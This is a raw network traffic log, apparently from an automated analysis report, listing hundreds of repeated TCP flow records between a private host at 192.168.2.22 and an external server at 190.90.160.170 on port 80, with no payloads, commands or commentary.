Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 190.90.160.170:80
Source: global traffic	TCP traffic: 190.90.160.170:80 -> 192.168.2.22:49165
